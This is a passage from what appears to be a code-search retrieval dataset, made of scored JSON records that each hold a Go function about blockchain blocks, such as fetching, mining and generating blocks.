[]hash.Hash{}\n\tfor _, oneTrx := range trx {\n\t\ttrxHash, err := app.hashAdapter.FromString(oneTrx)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\ttrxHashes = append(trxHashes, *trxHash)\n\t}\n\n\ttransactions, err := app.trxRepository.RetrieveAll(trxHashes)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tchain, err := app.chainRepository.Retrieve()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// calculate the difficulty:\n\tdifficulty := difficulty(chain, uint(len(transactions)))\n\n\t// build the block:\n\tcreatedOn := time.Now().UTC()\n\tgen := chain.Genesis()\n\tblock, err := app.blockBuilder.Create().\n\t\tWithGenesis(gen).\n\t\tWithTransactions(transactions).\n\t\tCreatedOn(createdOn).\n\t\tNow()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// mine the block:\n\tminedCreatedOn := time.Now().UTC()\n\tresults, err := mine(app.hashAdapter, difficulty, block.Hash())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tminedBlock, err := app.minedBlockBuilder.Create().\n\t\tWithBlock(block).\n\t\tWithMining(results).\n\t\tCreatedOn(minedCreatedOn).\n\t\tNow()\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn app.minedBlockService.Save(minedBlock)\n}", "title": "" }, { "docid": "9647747c973dc3931d6d7143af0084be", "score": "0.6582649", "text": "func Block(numOrIDRaw string) {\n\tapi := getAPI()\n\n\tblock, err := api.GetBlockByNumOrIDRaw(numOrIDRaw)\n\terrorCheck(\"get block\", err)\n\n\tdata, err := json.MarshalIndent(block, \"\", \" \")\n\terrorCheck(\"json marshaling\", err)\n\n\tfmt.Println(string(data))\n}", "title": "" }, { "docid": "f8854415320edb66852df0cb9e7aaa3f", "score": "0.6582283", "text": "func (cia *chainInfoAPI) ChainGetBlock(ctx context.Context, id cid.Cid) (*types.BlockHeader, error) {\n\treturn cia.chain.ChainReader.GetBlock(ctx, id)\n}", "title": "" }, { "docid": "28904200dcc802478969d4e1afd7d36a", "score": "0.6576357", "text": "func (s *Service) GetBlocks(_ *http.Request, args *GetBlocksArgs, reply *GetBlocksReply) error {\n\t// If an ID is given, parse its string representation to an ids.ID\n\t// If no ID is given, ID becomes the ID of last accepted block\n\n\tvar err error\n\tfor i := 0; i < len(args.IDs); i++ {\n\t\tvar id ids.ID\n\t\tif args.IDs[i] == \"\" {\n\t\t\tid, err = s.vm.LastAccepted()\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"problem finding the last accepted ID: %s\", err)\n\t\t\t}\n\t\t} else {\n\t\t\tid, err = ids.FromString(args.IDs[i])\n\t\t\tif err != nil {\n\t\t\t\treturn errors.New(\"problem parsing ID\")\n\t\t\t}\n\t\t}\n\n\t\t// Get the block from the database\n\t\tblockInterface, err := s.vm.GetBlock(id)\n\t\tif err != nil {\n\t\t\treturn errNoSuchBlock\n\t\t}\n\n\t\tblock, ok := blockInterface.(*Block)\n\t\tif !ok { // Should never happen but better to check than to panic\n\t\t\treturn errBadData\n\t\t}\n\n\t\t//log.Info(fmt.Sprintf(\"Service::GetBlock - EncEventData Length:%d\", len(block.EncEventData)))\n\n\t\t// Fill out the response with the block's data\n\n\t\tvar APIBlock APIBlock\n\t\tAPIBlock.EventID = block.ID().String()\n\t\tAPIBlock.Timestamp = json.Uint64(block.Timestamp().Unix())\n\t\tAPIBlock.ParentID = block.Parent().String()\n\t\tAPIBlock.EncodedData = hex.EncodeToString(block.EncodedData)\n\t\tAPIBlock.SequenceID = block.SequenceID.String()\n\t\tAPIBlock.CodecAddress = block.CodecAddress.Hex()\n\t\tAPIBlock.RefID = string(block.RefID)\n\t\tAPIBlock.RefTime = json.Uint64(block.RefTime)\n\t\tAPIBlock.CreatorAddress = block.CreatorAddress.Hex()\n\n\t\treply.APIBlocks = append(reply.APIBlocks, APIBlock)\n\t}\n\treturn err\n}", "title": "" }, { "docid": "78317b958257f7e5f7285ad922b9f320", "score": "0.65728086", "text": "func (bc *Blockchain) GetBlock(index uint64) ([]byte, error) {\n\treturn bc.BlockDb.Get([]byte(strconv.Itoa(int(index))), nil)\n}", "title": "" }, { "docid": "da83ba356742635afb8b9c8ab7a6aba1", "score": "0.6543145", "text": "func (ec *Client) Block(\n\tctx context.Context,\n\tblockIdentifier *RosettaTypes.PartialBlockIdentifier,\n) (*RosettaTypes.Block, error) {\n\tif blockIdentifier != nil {\n\t\tif blockIdentifier.Hash != nil {\n\t\t\treturn ec.getParsedBlock(ctx, \"eth_getBlockByHash\", *blockIdentifier.Hash, true)\n\t\t}\n\n\t\tif blockIdentifier.Index != nil {\n\t\t\treturn ec.getParsedBlock(\n\t\t\t\tctx,\n\t\t\t\t\"eth_getBlockByNumber\",\n\t\t\t\ttoBlockNumArg(big.NewInt(*blockIdentifier.Index)),\n\t\t\t\ttrue,\n\t\t\t)\n\t\t}\n\t}\n\n\treturn ec.getParsedBlock(ctx, \"eth_getBlockByNumber\", toBlockNumArg(nil), true)\n}", "title": "" }, { "docid": "400655bdcf7ab35d867f94f05bc98751", "score": "0.6532347", "text": "func TestBlock(t *testing.T) {\n\n\tb0 := Initial(16)\n\n\tb0.Mine(1)\n\tfmt.Println(hex.EncodeToString(b0.Hash))\n\n\tb1 := b0.Next(\"message\")\n\tb1.Mine(1)\n\tfmt.Println(hex.EncodeToString(b1.Hash))\n\n\tassert.Equal(t, hex.EncodeToString(b0.Hash), \"6c71ff02a08a22309b7dbbcee45d291d4ce955caa32031c50d941e3e9dbd0000\")\n\tassert.Equal(t, hex.EncodeToString(b1.Hash), \"9b4417b36afa6d31c728eed7abc14dd84468fdb055d8f3cbe308b0179df40000\")\n}", "title": "" }, { "docid": "f9610c5d0a762b73f10a4932c7414da4", "score": "0.6499897", "text": "func (s *StoreInfo) Block() {\n\ts.blocked = true\n}", "title": "" }, { "docid": "6aa9ad1a5435d87016cbce5fc71e2371", "score": "0.6486808", "text": "func GetBlockchain() []BlockStruct {\n\treturn getAllBlocks()\n\n}", "title": "" }, { "docid": "22ac83c978350a45cbbd9bb7aac7fe15", "score": "0.6486055", "text": "func (cli *Client) Block(id string) (*BlockResp, error) {\n\tif id == \"\" {\n\t\treturn nil, errors.New(\"id is required\")\n\t}\n\n\turl := fmt.Sprintf(\"%s/blocks/%s\", cli.endpoint, id)\n\tresp := cli.get(url)\n\n\tret := new(BlockResp)\n\tif err := resp.handle(http.StatusOK, ret); err != nil {\n\t\treturn nil, err\n\t}\n\treturn ret, nil\n}", "title": "" }, { "docid": "afa5876c9bb0e6b5557878908272ddac", "score": "0.6470571", "text": "func getBlock(gate Gatewayer) http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tif r.Method != http.MethodGet {\n\t\t\twh.Error405(w)\n\t\t\treturn\n\t\t}\n\n\t\thash := r.FormValue(\"hash\")\n\t\tseq := r.FormValue(\"seq\")\n\t\tvar b coin.SignedBlock\n\t\tvar exist bool\n\t\tswitch {\n\t\tcase hash == \"\" && seq == \"\":\n\t\t\twh.Error400(w, \"should specify one filter, hash or seq\")\n\t\t\treturn\n\t\tcase hash != \"\" && seq != \"\":\n\t\t\twh.Error400(w, \"should only specify one filter, hash or seq\")\n\t\t\treturn\n\t\tcase hash != \"\":\n\t\t\th, err := cipher.SHA256FromHex(hash)\n\t\t\tif err != nil {\n\t\t\t\twh.Error400(w, err.Error())\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tb, exist = gate.GetBlockByHash(h)\n\t\tcase seq != \"\":\n\t\t\tuSeq, err := strconv.ParseUint(seq, 10, 64)\n\t\t\tif err != nil {\n\t\t\t\twh.Error400(w, err.Error())\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tb, exist = gate.GetBlockBySeq(uSeq)\n\t\t}\n\n\t\tif !exist {\n\t\t\twh.Error404(w)\n\t\t\treturn\n\t\t}\n\n\t\trb, err := visor.NewReadableBlock(&b.Block)\n\t\tif err != nil {\n\t\t\tlogger.Error(err)\n\t\t\twh.Error500(w)\n\t\t\treturn\n\t\t}\n\n\t\twh.SendJSONOr500(logger, w, rb)\n\t}\n}", "title": "" }, { "docid": "44d993ba20b2a2c17e574ddfc2ecb9a2", "score": "0.6462772", "text": "func (gr *GXCRpc) GetBlock(blockNum uint32) (*Block, error) {\n\tvar resp Block\n\terr := gr.client.Call(\"get_block\", []interface{}{blockNum}, &resp)\n\treturn &resp, err\n}", "title": "" }, { "docid": "75134528a168435289cd242f7cc4e2a8", "score": "0.64598435", "text": "func (b *BlockService) Get(id interface{}) (Block, error) {\n\tvar block Block\n\n\tquery := \"/chains/main/blocks/\"\n\n\tblockID, err := b.IDToString(id)\n\tif err != nil {\n\t\treturn block, err\n\t}\n\n\tquery += blockID\n\n\tresp, err := b.tzclient.Get(query, nil)\n\tif err != nil {\n\t\treturn block, errors.Wrap(err, \"could not get block '%s'\")\n\t}\n\n\tblock, err = block.unmarshalJSON(resp)\n\tif err != nil {\n\t\treturn block, errors.Wrap(err, \"could not get block '%s'\")\n\t}\n\n\treturn block, nil\n}", "title": "" }, { "docid": "59fa73dafd08b4c5f11b8eb611afc1c8", "score": "0.64564663", "text": "func (g *Glue) GetBlock(channelID string, num uint64, async bool) (consensus.Block, error) {\n\tg.lock.Lock()\n\tfor i := range g.blocks[channelID] {\n\t\tif g.blocks[channelID][i].GetNumber() == num {\n\t\t\tdefer g.lock.Unlock()\n\t\t\tlog.Infof(\"consensus/tendermint/app: get block %d from g.blocks[%s]\", num, channelID)\n\t\t\treturn g.blocks[channelID][i], nil\n\t\t}\n\t}\n\tg.lock.Unlock()\n\t// But block is not in blocks does not mean it is not exist\n\tblock := g.db.GetBlock(channelID, num)\n\tif block != nil {\n\t\tlog.Infof(\"consensus/tendermint/app: get block %d from g.db and key is %s\", num, channelID)\n\t\treturn block, nil\n\t}\n\n\tif async {\n\t\tlog.Infof(\"Watch block %s\", fmt.Sprintf(\"%s:%d\", channelID, num))\n\t\tg.hub.Watch(fmt.Sprintf(\"%s:%d\", channelID, num), nil)\n\t\tg.lock.Lock()\n\t\tdefer g.lock.Unlock()\n\t\tfor i := range g.blocks[channelID] {\n\t\t\tif g.blocks[channelID][i].GetNumber() == num {\n\t\t\t\tlog.Infof(\"consensus/tendermint/app: get block %d from g.blocks[%s] asynchronously\", num, channelID)\n\t\t\t\treturn g.blocks[channelID][i], nil\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil, fmt.Errorf(\"Block %s:%d is not exist\", channelID, num)\n}", "title": "" }, { "docid": "3e25924ac5f9d515007991513eeaf41f", "score": "0.64419276", "text": "func (bc *Blockchain) GetBlock(height uint32) *Block {\n\tb := &Block{}\n\tif height > 0 {\n\t\tb = bc.blocksIndex[height]\n\t}\n\treturn b\n}", "title": "" }, { "docid": "c030f1da04ec5271fbcfc2e255c578e7", "score": "0.6440868", "text": "func generateBlock(reference string, quantity int, price float32) Block {\n\treturn Block{\n\t\tLastID: time.Now().Format(time.RFC3339), CreatedAt: time.Now().Format(time.RFC3339),\n\t\tData: Data{Reference: reference, Quantity: quantity, Price: price},\n\t}\n}", "title": "" }, { "docid": "dc9229eea9f4a89ef7c0b4a30540eaea", "score": "0.6439065", "text": "func (bd *BlockDAG) getBlock(h *hash.Hash) IBlock {\n\treturn bd.getBlockById(bd.getBlockId(h))\n}", "title": "" }, { "docid": "01c88986c67ab403580ab110034dfecd", "score": "0.6429814", "text": "func generateBlock(price float32, quantity int, reference string) Block {\n\treturn Block{\n\t\tlastID: -1, createdAt: time.Now(),\n\t\tdata: Data{price: price, quantity: quantity, reference: reference},\n\t}\n}", "title": "" }, { "docid": "25adbaaab4b9df2d0888f405196dd139", "score": "0.6421172", "text": "func (daemon *TurtleCoind) GetBlock(hash string) (map[string]interface{}, error) {\n\tdaemon.check()\n\tparams := make(map[string]interface{})\n\tparams[\"hash\"] = hash\n\tresp, err := daemon.makePostRequest(\"f_block_json\", params)\n\tif resp != nil {\n\t\treturn resp.(map[string]interface{}), err\n\t}\n\n\treturn nil, err\n}", "title": "" }, { "docid": "c9688ce4f8be555668e798383ca9dccb", "score": "0.6404136", "text": "func HandleGetBlock(context *rpccontext.Context, _ *router.Router, request appmessage.Message) (appmessage.Message, error) {\n\tgetBlockRequest := request.(*appmessage.GetBlockRequestMessage)\n\n\t// Load the raw block bytes from the database.\n\thash, err := externalapi.NewDomainHashFromString(getBlockRequest.Hash)\n\tif err != nil {\n\t\terrorMessage := &appmessage.GetBlockResponseMessage{}\n\t\terrorMessage.Error = appmessage.RPCErrorf(\"Hash could not be parsed: %s\", err)\n\t\treturn errorMessage, nil\n\t}\n\n\tblock, err := context.Domain.Consensus().GetBlockEvenIfHeaderOnly(hash)\n\tif err != nil {\n\t\terrorMessage := &appmessage.GetBlockResponseMessage{}\n\t\terrorMessage.Error = appmessage.RPCErrorf(\"Block %s not found\", hash)\n\t\treturn errorMessage, nil\n\t}\n\n\tresponse := appmessage.NewGetBlockResponseMessage()\n\n\tif getBlockRequest.IncludeTransactions {\n\t\tresponse.Block = appmessage.DomainBlockToRPCBlock(block)\n\t} else {\n\t\tresponse.Block = appmessage.DomainBlockToRPCBlock(&externalapi.DomainBlock{Header: block.Header})\n\t}\n\n\terr = context.PopulateBlockWithVerboseData(response.Block, block.Header, block, getBlockRequest.IncludeTransactions)\n\tif err != nil {\n\t\tif errors.Is(err, rpccontext.ErrBuildBlockVerboseDataInvalidBlock) {\n\t\t\terrorMessage := &appmessage.GetBlockResponseMessage{}\n\t\t\terrorMessage.Error = appmessage.RPCErrorf(\"Block %s is invalid\", hash)\n\t\t\treturn errorMessage, nil\n\t\t}\n\t\treturn nil, err\n\t}\n\n\treturn response, nil\n}", "title": "" }, { "docid": "64f1ad3d98acc80c097cb1797acbb216", "score": "0.64015007", "text": "func NewBlock() *Block {\n\tblock := Block{}\n\tblock.id = 1\n\tblock.unixtime = time.Now().Unix()\n\tblock.transactions = nil\n\tblock.lc = 0\n\treturn &block\n}", "title": "" }, { "docid": "bb30d2d4d03c8328ffc09347b9c6dbf5", "score": "0.63961303", "text": "func MineBlock(c *gin.Context) {\n\tvar input blockDTO\n\tif err := c.ShouldBindJSON(&input); err != nil {\n\t\tc.JSON(http.StatusBadRequest, gin.H{\"error\": err.Error()})\n\t\treturn\n\t}\n\n\tc.JSON(200, gin.H{\n\t\t\"block\": blockchain.GenerateNextBlock(input.Data, input.Nonce),\n\t})\n}", "title": "" }, { "docid": "6dde32b18a2272b79a68f7a10c6c3622", "score": "0.6394187", "text": "func (c *Client) GetBlock(n *big.Int) *types.Block {\n\tctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)\n\tdefer cancel()\n\n\tblock, err := c.BlockByNumber(ctx, n)\n\tif err != nil {\n\t\tlog.Errorf(\"getBlock error %v - %+v\", err, block)\n\t\treturn nil\n\t}\n\n\treturn block\n}", "title": "" }, { "docid": "adb9fc111543f05f7b91e765b0920dbb", "score": "0.63800216", "text": "func (blockchain *Blockchain) MineBlock(transactions []*Transaction) *Block {\n\n\tfor _, tx := range transactions {\n\t\t// TODO: ignore transaction if it's not valid\n\t\tif blockchain.VerifyTransaction(tx) != true {\n\t\t\tlog.Panic(\"ERROR: Invalid transaction\")\n\t\t}\n\t}\n\n\tlastHash := getLastHash(blockchain)\n\tvar newBlock *Block\n\n\terr := blockchain.db.Update(func(tx *bolt.Tx) error {\n\t\tbucket := tx.Bucket([]byte(blocksBucket))\n\n\t\tblockData := bucket.Get(lastHash)\n\t\tblock := DeserializeBlock(blockData)\n\t\tlastHeight := block.Height\n\n\t\tnewBlock = NewBlock(transactions, lastHash, lastHeight+1)\n\n\t\terrr := bucket.Put(newBlock.Hash, newBlock.Serialize())\n\t\tif errr != nil {\n\t\t\treturn errr\n\t\t}\n\n\t\terrr = bucket.Put([]byte(\"l\"), newBlock.Hash)\n\t\tif errr != nil {\n\t\t\treturn errr\n\t\t}\n\n\t\tblockchain.tip = newBlock.Hash\n\n\t\treturn nil\n\t})\n\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\treturn newBlock\n}", "title": "" }, { "docid": "7307a9babb185313e5cac241dfaa8124", "score": "0.6372076", "text": "func (bc *Blockchain) MineBlock(transactions []*Transaction, shardID uint32) *Block {\r\n\tvar lastHash [32]byte\r\n\r\n\tlastHash = bc.getLastBlock().Hash\r\n\r\n\tnewBlock := NewBlock(transactions, lastHash, shardID)\r\n\r\n\tlog.Println(fmt.Sprintf(\"New Block mined for Shard %d. Block hash: %x\", shardID, newBlock.Hash))\r\n\treturn newBlock\r\n}", "title": "" }, { "docid": "bc44b7e3a55ea588fcaaabc40b36a991", "score": "0.63354707", "text": "func (e *Explorer) Block(id types.BlockID) (types.Block, types.BlockHeight, bool) {\n\tvar height types.BlockHeight\n\terr := e.db.View(dbGetAndDecode(bucketBlockIDs, id, &height))\n\tif err != nil {\n\t\te.log.Printf(\"Error decoding blockfacts: %s\", err)\n\t\treturn types.Block{}, 0, false\n\t}\n\tblock, exists := e.cs.BlockAtHeight(height)\n\tif !exists {\n\t\te.log.Printf(\"did not find block at height: %d\", height)\n\t\treturn types.Block{}, 0, false\n\t}\n\treturn block, height, true\n}", "title": "" }, { "docid": "9c76fa08fb1cf4b8470aba5c50e0cd3e", "score": "0.6329992", "text": "func (rpc *AergoRPCService) GetBlock(ctx context.Context, in *types.SingleBytes) (*types.Block, error) {\n\tif err := rpc.checkAuth(ctx, ReadBlockChain); err != nil {\n\t\treturn nil, err\n\t}\n\tvar result interface{}\n\tvar err error\n\tif cap(in.Value) == 0 {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"Received no bytes\")\n\t}\n\tif len(in.Value) == 32 {\n\t\tresult, err = rpc.hub.RequestFuture(message.ChainSvc, &message.GetBlock{BlockHash: in.Value},\n\t\t\tdefaultActorTimeout, \"rpc.(*AergoRPCService).GetBlock#2\").Result()\n\t} else if len(in.Value) == 8 {\n\t\tnumber := uint64(binary.LittleEndian.Uint64(in.Value))\n\t\tresult, err = rpc.hub.RequestFuture(message.ChainSvc, &message.GetBlockByNo{BlockNo: number},\n\t\t\tdefaultActorTimeout, \"rpc.(*AergoRPCService).GetBlock#1\").Result()\n\t} else {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"Invalid input. Should be a 32 byte hash or up to 8 byte number.\")\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tfound, err := rpc.msgHelper.ExtractBlockFromResponse(result)\n\tif err != nil {\n\t\treturn nil, status.Errorf(codes.Internal, err.Error())\n\t}\n\tif found == nil {\n\t\treturn nil, status.Errorf(codes.NotFound, \"Not found\")\n\t}\n\treturn found, nil\n}", "title": "" }, { "docid": "538bfe77484e369ca3ee5f41a5124225", "score": "0.63215214", "text": "func GetBlock(config conf.Config, log zap.Logger, ) {\n\t// get height form database\n\t// get lastblock height form database\n\t// check height .< get info .== sleep .empty sleep\n\t//time.Sleep(config.Param.BlockInterval) //??\n\tvar block models.BlockInfo\n\tc:=&http.Client{\n\t\tTimeout:time.Second * config.Param.HTTPGetTimeOut,\n\t}\n\tfor {\n\t\tlastBlockHeight, publicHeight := block.GetAimHeightAndBlockHeight()\n\t\t//check the height difference again\n\t\tif publicHeight > lastBlockHeight {\n\t\t\tfor publicHeight > lastBlockHeight {\n\t\t\t\tlastBlockHeight = lastBlockHeight + 1\n\t\t\t\turl := config.Remote.Lcd + \"/blocks/\" + strconv.Itoa(lastBlockHeight)\n\t\t\t\tresp, err := c.Get(url)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlastBlockHeight = lastBlockHeight - 1\n\t\t\t\t\tlog.Error(\"get block info failed\", zap.String(\"url\", url),zap.String(\"error\",err.Error()))\n\t\t\t\t\ttime.Sleep(time.Second * config.Param.BlockInterval) // sleep 2s ,avoid frequent requests\n\t\t\t\t\tcontinue\n\t\t\t\t} else {\n\t\t\t\t\t// deal with resp\n\t\t\t\t\tjsonStr, _ := ioutil.ReadAll(resp.Body)\n\t\t\t\t\terr = json.Unmarshal(jsonStr, &block)\n\t\t\t\t\t// store block\n\t\t\t\t\tintHeight, _ := strconv.Atoi(block.Block.Header.Height)\n\t\t\t\t\tblock.IntHeight = intHeight\n\t\t\t\t\tblock.SetInfo(log)\n\t\t\t\t\tresp.Body.Close()\n\t\t\t\t}\n\t\t\t\t//time.Sleep(time.Millisecond* config.Param.BlockInterval)\n\t\t\t\ttime.Sleep(time.Millisecond* 1)\n\n\t\t\t}\n\n\t\t}\n\t\ttime.Sleep(time.Second * config.Param.BlockInterval)\n\t}\n}", "title": "" }, { "docid": "3b8ccd0ee59bb8fa201b752f63fc56cc", "score": "0.6316851", "text": "func (api *API) GetBlock(c appengine.Context, height int, hash string) (block Block, err error) {\n\tblock, err = api.GetBlockPage(c, height, hash, 0, 0)\n\treturn\n}", "title": "" }, { "docid": "2663214cfd0045d2c9107cdc6ea457de", "score": "0.6309994", "text": "func (chain *Blockchain) Get_Block_Future(dbtx storage.DBTX, hash crypto.Hash) (blocks []crypto.Hash) {\n\tvar err error\n\tif dbtx == nil {\n\t\tdbtx, err = chain.store.BeginTX(false)\n\t\tif err != nil {\n\t\t\tlogger.Warnf(\"Could NOT add block to chain. Error opening writable TX, err %s\", err)\n\t\t\treturn\n\t\t}\n\n\t\tdefer dbtx.Rollback()\n\t}\n\n\t// deserialize future\n\tfutureBytes, err := dbtx.LoadObject(BLOCKCHAIN_UNIVERSE, GALAXY_BLOCK, hash[:], PLANET_FUTURE)\n\tif err != nil {\n\t\treturn\n\t}\n\tblocks = make([]crypto.Hash, len(futureBytes)/32, len(futureBytes)/32)\n\n\tfor i := 0; i < len(futureBytes)/32; i++ {\n\t\tcopy(blocks[i][:], futureBytes[i*32:(i*32)+32])\n\t}\n\n\treturn\n}", "title": "" }, { "docid": "327b7c3fb4ec2e516ea0aab686c11913", "score": "0.6309301", "text": "func GetBlock(_db *gorm.DB, number uint64) *Blocks {\n\tvar block Blocks\n\n\tif err := _db.Where(\"number = ?\", number).First(&block).Error; err != nil {\n\t\treturn nil\n\t}\n\n\treturn &block\n}", "title": "" }, { "docid": "080ad933d87bdbe8f8cd13e8b61e3146", "score": "0.63009816", "text": "func NewBlock(extras string, prevHash []byte, txs []Transaction) *Block {\n\t//hash := sha256.Sum256([]byte(extras))\n\tblock := &Block{\n\t\tTimestamp: time.Now().Unix(),\n\t\tExtras: extras,\n\t\tPrevHash: prevHash,\n\t\tTransactions: txs,\n\t}\n\tpow := ProofOfWork{block}\n\tnonce, hash := pow.Mine()\n\tblock.CurrHash = hash\n\tblock.Nonce = nonce\n\tfmt.Printf(\"hash: %x \\n\", hash)\n\treturn block\n}", "title": "" }, { "docid": "b05d66426bc61f86be52bfd259ec5979", "score": "0.6298963", "text": "func (l *Listener) GetBlock(n uint64) (*types.Block, error) {\n\tvar nBigInt *big.Int\n\treturn l.client.BlockByNumber(l.ctx, nBigInt.SetUint64(n))\n}", "title": "" }, { "docid": "ab799edde90a669fe84f2b6ab7738f1e", "score": "0.6289318", "text": "func (s *BlockStore) Block(hash string) (tradeblocks.Block, error) {\n\ttx, err := s.db.NewTransaction()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer tx.Commit()\n\t_, block, err := tx.GetBlock(hash)\n\treturn block, err\n}", "title": "" }, { "docid": "2705afcf58f368c8814c28ea83e30725", "score": "0.6263184", "text": "func (bc *Blockchain) MineBlock(minerAddress string) *Block {\n\tvar lastHash []byte\n\tvar lastHeight int\n\n\t// находим последний хнш и высоту относительно генезис блока\n\terr := bc.Db.View(func(tx *bolt.Tx) error {\n\t\tb := tx.Bucket([]byte(BlocksBucket))\n\t\tlastHash = b.Get([]byte(\"l\"))\n\n\t\tblockData := b.Get(lastHash)\n\t\tblock, err := DeserializeExtensionBlock(blockData)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tlastHeight = block.Height\n\n\t\treturn nil\n\t})\n\tif err != nil {\n\t\tlog.Panic(err)\n\t}\n\n\tnewBlock := NewBlock(lastHash, lastHeight + 1, minerAddress)\n\n\treturn newBlock\n}", "title": "" }, { "docid": "0f017f217e109ef26108f300983bbe83", "score": "0.62610203", "text": "func (c *BlockClient) Get(ctx context.Context, id uuid.UUID) (*Block, error) {\n\treturn c.Query().Where(block.ID(id)).Only(ctx)\n}", "title": "" }, { "docid": "b953fc7e8263bdcbcd57f1e2364ee5b2", "score": "0.6258767", "text": "func (c DiskBlockCacheClient) GetBlock(ctx context.Context, __arg GetBlockArg) (res GetBlockRes, err error) {\n\terr = c.Cli.Call(ctx, \"kbgitkbfs.1.DiskBlockCache.GetBlock\", []interface{}{__arg}, &res)\n\treturn\n}", "title": "" }, { "docid": "48a42b7255c3f5089901aa33ce1afd12", "score": "0.6254497", "text": "func (s *WAVESScanner) getBlock(seq int64) (*CommonBlock, error) {\n\trb, err := s.wavesRPCClient.GetBlocksBySeq(seq)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn wavesBlock2CommonBlock(rb)\n}", "title": "" }, { "docid": "1df74a71ca3026e92691e95bb660302d", "score": "0.62426317", "text": "func GetBlocks(c *gin.Context) {\n\tc.JSON(200, gin.H{\n\t\t\"blockchain\": blockchain.GetBlockchain(),\n\t})\n}", "title": "" }, { "docid": "2b674f885cf721f4d8d2acdc005f403b", "score": "0.6233122", "text": "func generateBlock(oldBlock *Block, m SendMessage) (*Block, error) {\n\tnewBlock := new(Block)\n\n\tt := time.Now()\n\tnewTranaction, err := NewUTXOTransaction(m.From, m.To, m.Value, &bc)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tnewBlock.Timestamp = t.String()\n\tnewBlock.Transactions = []*Transaction{newTranaction}\n\tnewBlock.PrevHash = oldBlock.Hash\n\n\tfor i := 0; ; i++ {\n\t\tnewBlock.Nonce = fmt.Sprintf(\"%x\", i)\n\t\tnewHash := calculateHash(newBlock)\n\t\tif !isHashValid(newHash, difficulty) {\n\t\t\tfmt.Println(newHash, \" do more work!\")\n\t\t\tcontinue\n\t\t}\n\t\tfmt.Println(newHash, \" work done!\")\n\t\tnewBlock.Hash = newHash\n\t\tbreak\n\n\t}\n\treturn newBlock, nil\n}", "title": "" }, { "docid": "d1e2644b2f4b184b8dc6de892b81f4b4", "score": "0.62323636", "text": "func (c *Chain) GetBlock(ctx context.Context, height uint64) (*bc.Block, error) {\n\treturn c.store.GetBlock(ctx, height)\n}", "title": "" }, { "docid": "41e592137146dd15667937b768a45fc9", "score": "0.6228492", "text": "func (bc *Blockchain) MineBlock(transactions []*Transaction) (*Block, error) {\n\tvar validTxs []*Transaction\n\tfor _, tx := range transactions {\n\t\tisValid := bc.VerifyTransaction(tx)\n\t\tif isValid {\n\t\t\tvalidTxs = append(validTxs, tx)\n\t\t}\n\t}\n\n\tif len(validTxs) == 0 {\n\t\treturn nil, errors.New(\"there are no valid transactions to be mined\")\n\t}\n\n\treturn bc.AddBlock(validTxs), nil\n}", "title": "" }, { "docid": "f6be2f14af415d0fc337412f2ab5d397", "score": "0.6221701", "text": "func (hc *HeaderChain) GetBlock(hash common.Hash, number uint64) *types.Block {\n\treturn nil\n}", "title": "" }, { "docid": "e0913ddf824c4fa2294dee7485a25b1b", "score": "0.62061876", "text": "func (chain *Chain) GetBlock(hash common.Hash, number uint64) *types.Block {\n\treturn nil\n}", "title": "" }, { "docid": "88dd1d0d49e19cfa83393759279f96f0", "score": "0.62005115", "text": "func GenerateBlock(old Block, BPM int) (Block, error) {\n\tvar new Block\n\n\tt := time.Now()\n\n\tnew.Index = old.Index + 1\n\tnew.Timestamp = t.String()\n\tnew.BPM = BPM\n\tnew.PreviousHash = old.CurrentHash\n\tnew.CurrentHash = CalculateBlockHash(new)\n\n\treturn new, nil\n}", "title": "" }, { "docid": "e99883d8dfee7bf28567bfed125071aa", "score": "0.61898434", "text": "func (c *Chain) GenerateBlock(ctx context.Context, timestampMS uint64, txs []*bc.CommitmentsTx) (*bc.UnsignedBlock, *state.Snapshot, error) {\n\terr := c.bb.Start(c.State(), timestampMS)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\tfor _, tx := range txs {\n\t\terr := c.bb.AddTx(tx)\n\t\tif err != nil {\n\t\t\tlog.Printkv(ctx, \"event\", \"invalid tx\", \"error\", err, \"tx\", hex.EncodeToString(tx.Tx.Program))\n\t\t}\n\t}\n\treturn c.bb.Build()\n}", "title": "" }, { "docid": "1bedf532ea38ea0db93817c615d3c95f", "score": "0.61861664", "text": "func (a *testDoubleChainAccessor) GetBlock(blockHash []byte) (*types.Block, error) {\n\tmychain := a.getChain()\n\tfor i, hash := range mychain {\n\t\tif bytes.Equal(hash, blockHash) {\n\t\t\tprevHash := []byte(nil)\n\t\t\tif i>0 {\n\t\t\t\tprevHash = mychain[i-1]\n\t\t\t}\n\t\t\tnumber := a.baseHeight + types.BlockNo(i)\n\t\t\treturn &types.Block{Hash:hash,Header:&types.BlockHeader{BlockNo:number, PrevBlockHash:prevHash}}, nil\n\t\t}\n\t}\n\treturn nil, chain.ErrNoBlock{}\n}", "title": "" }, { "docid": "f2e0863cf0ee3de9286dbd359dc619fb", "score": "0.61838675", "text": "func (bs *blockStore) Block(dbContext model.DBReader, stagingArea *model.StagingArea, blockHash *externalapi.DomainHash) (*externalapi.DomainBlock, error) {\n\tstagingShard := bs.stagingShard(stagingArea)\n\n\treturn bs.block(dbContext, stagingShard, blockHash)\n}", "title": "" }, { "docid": "1cbfd505e0ffe8de823df612fae80946", "score": "0.6181889", "text": "func (s *Service) Block(ctx context.Context, id int64, active bool) (*types.Customer, error) {\n\titem := &types.Customer{}\n\n\tsql := `UPDATE customers SET active = $2 WHERE id = $1 RETURNING id, name, phone, active, 